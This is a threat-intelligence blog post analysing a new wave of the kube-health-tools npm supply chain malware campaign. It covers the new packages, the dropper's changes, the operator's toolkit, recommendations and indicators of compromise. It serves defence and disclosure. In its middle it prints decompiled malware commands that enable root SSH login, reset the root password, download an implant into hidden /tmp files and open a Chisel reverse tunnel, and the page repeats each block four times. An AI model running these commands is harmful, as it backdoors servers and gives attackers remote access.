NEW

The Complete AI SOC Platform is here. Read the announcement →

close

The Complete AI SOC Platform is here. Read the announcement →

close

BLOG

Mapping the Infrastructure Behind the kube-health-tools Supply Chain Malware

Alessandra

Rizzo

Introduction

Twenty days ago, we published our analysis of a supply chain attack targeting Kubernetes developers via a malicious npm and PyPI package called kube-health-tools. That report documented the attack chain from trojanized package to persistent Chisel reverse tunnel.

The actor hasn't gone quiet. Our npm scanner picked up a wave of new activity on April 21–22: three new package names, hardened dropper code, and a shift in payload delivery. More importantly, the GitHub release hosting the payloads has expanded to 21 assets, revealing a full operational toolkit that shows what this campaign is actually for.

New Packages and Targeting Expansion

The actor published three new npm packages alongside continued version bumps to kube-health-tools:

Package

Description

Versions

kube-health-tools

"Lightweight Kubernetes node health diagnostics"

2.4.0 → 2.4.4

k8s-pod-checker

"Kubernetes pod health and readiness checker"

0.0.1 → 0.0.4

dev-env-setup

"Development environment setup and configuration"

0.0.1 → 0.0.4

node-perf-utils

"Performance monitoring utilities for Node.js"

0.0.1 → 0.0.4

The first two target Kubernetes operators. But dev-env-setup and node-perf-utils are generic developer tooling names with no Kubernetes association. We assume the actor is casting a wider net of victims. Eighteen package-version combinations were published in a ~14-hour window, rotating binary hashes with each wave to evade detection.

Dropper Hardening

The addon.node dropper has gone through three revisions. The latest adds unsetenv to scrub the KH_EN config variable from /proc/*/environ, uses open64/close to suppress output in the forked child, and replaces readlink with node_api_get_module_file_name for more reliable path resolution inside containers.

The biggest change is payload delivery. The new packages bundle the Chisel implant directly as prebuilt/.d alongside the dropper. The binary tries the GitHub download first, then falls back to the bundled copy, making the attack resilient to takedowns. The bundled hash matches kube-diag-full-linux-amd64-packed on the GitHub release, confirming it's the "full" variant with the LLM proxy capabilities documented by Aikido Security.

The Operator's Toolkit

The GitHub release at gibunxi4201/kube-node-diag now contains 21 assets, which fall into four categories:

Implant variants: Multiple builds of the Chisel tunnel in base, full (with LLM proxy), extended, and client configurations. The "full" variant is what ships in the npm packages.

CLIProxyAPI (cpa-*): Builds of CLIProxyAPI, an open-source project that provides OpenAI-compatible API proxying with multi-account OAuth support for Copilot, Claude Code, Codex, Gemini, and Kimi. The binary contains login functions for AWS, Google, GitHub, GitLab, and Cursor, including a main.setKiroIncognitoMode function targeting AWS's recently launched IDE.

Transport tools: warp is a Cloudflare WARP client incorporating AmneziaWG, a modified WireGuard protocol designed to evade deep packet inspection. warp-pool-linux rotates across multiple WARP connections for IP diversity. ech-workers is a WebSocket proxy with Encrypted Client Hello that hides destination domains from network observers.

VPS provisioner: A 50KB custom C binary that we reverse engineered in detail below.

The kube-diag-* implant variants are custom builds combining open-source components. The cpa-*, warp, warp-pool, and ech-workers binaries are unmodified open-source tools. The entire toolkit is 0/65+ on VirusTotal.

Reversing the VPS Provisioner

kube-diag-legacy-c-linux-amd64 is the smallest binary in the release. At 50KB, compiled with GCC 15.2.0 on Alpine, it has zero detections.

Using Ghidra headless decompilation, we reconstructed its functionality.

The binary reads a base64-encoded, XOR-encrypted config blob from stdin (key: s0m3R4nd0mK3y2026xYz, the same key found in the Go implant), parses seven fields (C2 domain, credentials, install name, download URL, tunnel specs), and runs a five-stage deployment pipeline. It supports a --dry-run flag for operational testing.

The binary first installs OpenSSH if missing, forces PermitRootLogin yes and binds to all interfaces, then resets the root password via chpasswd using credentials from the config:

ssh-keygen -A 2>/dev/null
mkdir -p /run/sshd
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/.*ListenAddress 0.0.0.0.*/ListenAddress 0.0.0.0/' /etc/ssh/sshd_config
grep -q '^ListenAddress' /etc/ssh/sshd_config || echo 'ListenAddress 0.0.0.0' >> /etc/ssh/sshd_config
pkill sshd 2>/dev/null
/usr/sbin/sshd
ss -tlnp | grep :22
chpasswd pipes root:<password from config>
ssh-keygen -A 2>/dev/null
mkdir -p /run/sshd
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/.*ListenAddress 0.0.0.0.*/ListenAddress 0.0.0.0/' /etc/ssh/sshd_config
grep -q '^ListenAddress' /etc/ssh/sshd_config || echo 'ListenAddress 0.0.0.0' >> /etc/ssh/sshd_config
pkill sshd 2>/dev/null
/usr/sbin/sshd
ss -tlnp | grep :22
chpasswd pipes root:<password from config>
ssh-keygen -A 2>/dev/null
mkdir -p /run/sshd
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/.*ListenAddress 0.0.0.0.*/ListenAddress 0.0.0.0/' /etc/ssh/sshd_config
grep -q '^ListenAddress' /etc/ssh/sshd_config || echo 'ListenAddress 0.0.0.0' >> /etc/ssh/sshd_config
pkill sshd 2>/dev/null
/usr/sbin/sshd
ss -tlnp | grep :22
chpasswd pipes root:<password from config>
ssh-keygen -A 2>/dev/null
mkdir -p /run/sshd
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/.*ListenAddress 0.0.0.0.*/ListenAddress 0.0.0.0/' /etc/ssh/sshd_config
grep -q '^ListenAddress' /etc/ssh/sshd_config || echo 'ListenAddress 0.0.0.0' >> /etc/ssh/sshd_config
pkill sshd 2>/dev/null
/usr/sbin/sshd
ss -tlnp | grep :22
chpasswd pipes root:<password from config>

It then downloads and install the implant and launches the Chisel tunnel via nohup .

curl -sL %s -o /tmp/.nhc.gz && gunzip -f /tmp/.nhc.gz && chmod +x /tmp/.nhc && mv /tmp/.nhc %s
curl -sL %s -o /tmp/.nhc.gz && gunzip -f /tmp/.nhc.gz && chmod +x /tmp/.nhc && mv /tmp/.nhc %s
curl -sL %s -o /tmp/.nhc.gz && gunzip -f /tmp/.nhc.gz && chmod +x /tmp/.nhc && mv /tmp/.nhc %s
curl -sL %s -o /tmp/.nhc.gz && gunzip -f /tmp/.nhc.gz && chmod +x /tmp/.nhc && mv /tmp/.nhc %s
nohup %s client --auth '%s' --header 'User-Agent: Mozilla/5.0' --max-retry-interval 30s %s R:%s:127.0.0.1:22 R:%s:127.0.0.1:8200 > /tmp/.nhc.log 2>&1
nohup %s client --auth '%s' --header 'User-Agent: Mozilla/5.0' --max-retry-interval 30s %s R:%s:127.0.0.1:22 R:%s:127.0.0.1:8200 > /tmp/.nhc.log 2>&1
nohup %s client --auth '%s' --header 'User-Agent: Mozilla/5.0' --max-retry-interval 30s %s R:%s:127.0.0.1:22 R:%s:127.0.0.1:8200 > /tmp/.nhc.log 2>&1
nohup %s client --auth '%s' --header 'User-Agent: Mozilla/5.0' --max-retry-interval 30s %s R:%s:127.0.0.1:22 R:%s:127.0.0.1:8200 > /tmp/.nhc.log 2>&1

After verifying the tunnel is up, it deletes /tmp/.nhc.enc, deletes itself (argv[0]), and exits. A blank server becomes a fully provisioned relay node with SSH backdoor, root access, and active Chisel tunnel in under 30 seconds.

We assess with moderate confidence that this is the tool the operator uses to build out the server-side infrastructure that compromised developer machines connect back to.

The Full Picture

The diagram below maps every binary in the release to its role in the operation. Malicious packages compromise developer machines, which become residential proxy exit nodes, and their clean IPs and network access are the product.

A Chisel tunnel connects each victim back to the operator's infrastructure, where a custom VPS provisioner builds out relay servers and CLIProxyAPI manages API routing. Traffic crosses the Great Firewall through WARP, ECH, and an IP rotation pool before reaching gray market customers buying cheap LLM access.

Every component except the npm dropper and the 50KB provisioner is an open-source project.

Recommendations

If you installed any of the packages listed below, the implant may still be running even though the package deletes itself from node_modules within seconds of install.

  • Check for a process named node-health-check in your process list.

  • Look for /tmp/.kd, /tmp/.nhc.enc, /tmp/.nhc.log, or /tmp/.diag.log on disk.

  • Review outbound connections to sync[.]geeker[.]indevs[.]in on port 443.

If you find any of these, assume the machine is compromised: rotate all credentials accessible from that environment, revoke active OAuth sessions for Copilot, Claude Code, Cursor, and any cloud providers, and reimage the machine.

See it in action

Most AI closes the alert. Panther closes the loop.

Indicators of Compromise

New Malicious npm Packages

Package

Version Range

Author

k8s-pod-checker

0.0.1 – 0.0.4

hhsw2015

dev-env-setup

0.0.1 – 0.0.4

hhsw2015

node-perf-utils

0.0.1 – 0.0.4

hhsw2015

kube-health-tools

2.4.0 – 2.4.4

hhsw2015

File Hashes, Dropper Binaries

File

SHA-256

addon.node (v1, kube-health-tools 2.4.0)

c64c5e61784ec4fbaf0a8d7edb03201be6668a1424fc2ada027a76e0b6c0aaab

addon.node (v2, used across most versions)

90b9516ba2611061e54d420827f84612bfa59c639b32843e21b1ad6030065302

addon.node (v3, latest)

04a40bd65e67137cf858cf29e9722a6818d462007caf07021e9915799143806f

File Hashes, Bundled .d Payload (UPX-packed Chisel)

SHA-256

Used In

e4b54931a963191b39b30ea953a3355d7d5ea40fc54e7a5e2a3dc31f9ed15657

v2.4.0–2.4.1, 0.0.1

865bbe0b52ea7e275d51235a89a08fd07f133f04542344d729492adf2f69ec28

v2.4.2–2.4.3, 0.0.2–0.0.3

000da22223cf9dd6f8b0fe2644b5f8b604f646b863b95ec88872044af9e6a337

v2.4.4, 0.0.4 (= kube-diag-full-linux-amd64-packed)

File Hashes, Operator Toolkit

File

SHA-256

kube-diag-legacy-c-linux-amd64

b95a2585732dc51a193fc49e3696687ea1b9cd31d3aa5f66fac6fbb9b78284a4

cpa-new-server

144f0ab0384a1fc9610bbd97e2b5928cf536df72ea78a7a10de35ec757e42e33

warp

34e2ace1fa1a38cca7e982404dfc1c6fd7419a96eabd5f56529858315a42803c

warp-pool-linux

d2d48d25d0cf95b148ca1638e48222048e7ac9a282be654425e9205a786a5890

ech-workers

1c2b72f82e91ecfb0989c26d7dfbfa5d7d8a4b2e6e8cc9ab79d981c0b806fa53

Network Indicators

Indicator

Context

sync[.]geeker[.]indevs[.]in

C2 server

github[.]com/gibunxi4201/kube-node-diag

Payload staging

github[.]com/router-for-me/CLIProxyAPI

LLM proxy project used by operator

Host Indicators

Indicator

Context

/tmp/.kd

Dropper staging path

/tmp/.nhc.enc

Encrypted implant config

/tmp/.nhc.log

Relay log file

/tmp/.diag.log

VPS provisioner log

Process name node-health-check

Disguised implant process

/usr/local/bin/<variable>

Implant install path (VPS provisioner)

Encryption Key

s0m3R4nd0mK3y2026xYz, XOR key shared between the VPS provisioner and the Go stage-2 binary's ClearEnv() function.

Share:

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Bolt-on AI closes alerts. Panther closes the loop.

See how Panther compounds intelligence across the SOC.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.

Get product updates, webinars, and news

By submitting this form, you acknowledge and agree that Panther will process your personal information in accordance with the Privacy Policy.